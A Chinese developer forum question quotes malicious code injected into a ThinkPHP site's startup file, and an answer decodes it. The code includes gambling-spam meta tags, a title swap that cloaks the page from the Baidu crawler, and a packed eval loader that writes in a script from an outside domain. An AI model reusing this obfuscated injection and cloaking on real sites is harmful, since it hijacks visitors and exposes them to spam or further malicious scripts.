网站被恶意植入js文件,求教前端大牛讲解一下这段js的意思

昨天我的一个小企业站项目被植入了恶意js,总是被劫持跳转. 这个项目是用php框架tp5开发的,找了一上午才找到这段js文件, 原来这哥们把js放到我的开始脚本start.php里了. 删除了,网站就恢复正常了.
想请教一下大牛,这段meta头和下边的js是什么意思?以及劫持的原理...

<title>正规时时彩平台注册_十大时时彩正规平台官网</title>

<meta name="keywords" content="&#27491;&#35268;&#26102;&#26102;&#24425;&#24179;&#21488;&#27880;&#20876;&#44;&#21313;&#22823;&#26102;&#26102;&#24425;&#27491;&#35268;&#24179;&#21488;&#23448;&#32593;"/>

<meta name="description" content="&#26368;&#26032;&#21313;&#22823;&#26102;&#26102;&#24425;&#27491;&#35268;&#24179;&#21488;&#20449;&#35465;&#25512;&#33616;&#44;&#9819;&#55;&#49;&#49;&#49;&#48;&#46;&#99;&#111;&#109;&#9818;&#37325;&#30917;&#25512;&#20986;&#26368;&#23433;&#20840;&#38752;&#35889;&#30340;&#26102;&#26102;&#24425;&#24425;&#31080;&#24179;&#21488;&#44;&#20174;&#25552;&#29616;&#36895;&#24230;&#44;&#20449;&#35465;&#24230;&#44;&#21487;&#38752;&#24230;&#21015;&#20986;&#25490;&#21517;&#21069;&#33541;&#30340;&#21313;&#22823;&#20449;&#35465;&#26102;&#26102;&#24425;&#24179;&#21488;&#12290;"/>

<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="首页"}</script>
<script>

eval(function(p, a, c, k, e, d) {
e = function(c) {
    return (c < a ? "": e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
};
if (!''.replace(/^/, String)) {
    while (c--) d[e(c)] = k[c] || e(c);
    k = [function(e) {
        return d[e]
    }];
    e = function() {
        return '\\w+'
    };
    c = 1;
};
while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
 return p;} (\'m["\\n\\b\\2\\e\\f\\7\\l\\0"]["\\o\\4\\8\\0\\7"]('\j\1\2\4\\8\\3\\0 \\0\\k\\3\\7\\d\\6\\0\\7\\p\\0\\5\\h\\c\\t\\c\\1\\2\\4\\8\\3\\0\\6\\1\\4\\2\\d\\6\\9\\0\\0\\3\\1\\v\\5\\5\\1\\a\\9\\e\\a\\9\\s\\g\\2\\b\\f\\5\\u\\r\\q\\3\\g\\h\\1\\6\\i\\j\\5\\1\\2\\4\\8\\3\\0\\i\');', 32, 32, 'x74|x73|x63|x70|x72|x2f|x22|x65|x69|x68|x66|x6f|x61|x3d|x75|x6d|x2e|x6a|x3e|x3c|x79|x6e|window|x64|x77|x78|x71|x38|x32|x76|x6b|x3a\'.split('|'), 0, {}))
</script>

阅读 6.2k
2 个回答

解密结果:
document.write('<script type="text/javascript" src="https://sfhufh2.com/k8qp.js">');

<meta name="keywords" content="&#27491;&#35268;&#26102;&#26102;&#24425;&#24179;&#21488;&#27880;&#20876;&#44;&#21313;&#22823;&#26102;&#26102;&#24425;&#27491;&#35268;&#24179;&#21488;&#23448;&#32593;"/>
正规时时彩平台注册,十大时时彩正规平台官网
<meta name="description" content="&#26368;&#26032;&#21313;&#22823;&#26102;&#26102;&#24425;&#27491;&#35268;&#24179;&#21488;&#20449;&#35465;&#25512;&#33616;&#44;&#9819;&#55;&#49;&#49;&#49;&#48;&#46;&#99;&#111;&#109;&#9818;&#37325;&#30917;&#25512;&#20986;&#26368;&#23433;&#20840;&#38752;&#35889;&#30340;&#26102;&#26102;&#24425;&#24425;&#31080;&#24179;&#21488;&#44;&#20174;&#25552;&#29616;&#36895;&#24230;&#44;&#20449;&#35465;&#24230;&#44;&#21487;&#38752;&#24230;&#21015;&#20986;&#25490;&#21517;&#21069;&#33541;&#30340;&#21313;&#22823;&#20449;&#35465;&#26102;&#26102;&#24425;&#24179;&#21488;&#12290;"/>
最新十大时时彩正规平台信誉推荐,♛71110.com♚重磅推出最安全靠谱的时时彩彩票平台,从提现速度,信誉度,可靠度列出排名前茅的十大信誉时时彩平台。

最后一段不发代码搞不了

撰写回答
你尚未登录,登录后可以
  • 和开发者交流问题的细节
  • 关注并接收问题和回答的更新提醒
  • 参与内容的编辑和改进,让解决方法与时俱进
推荐问题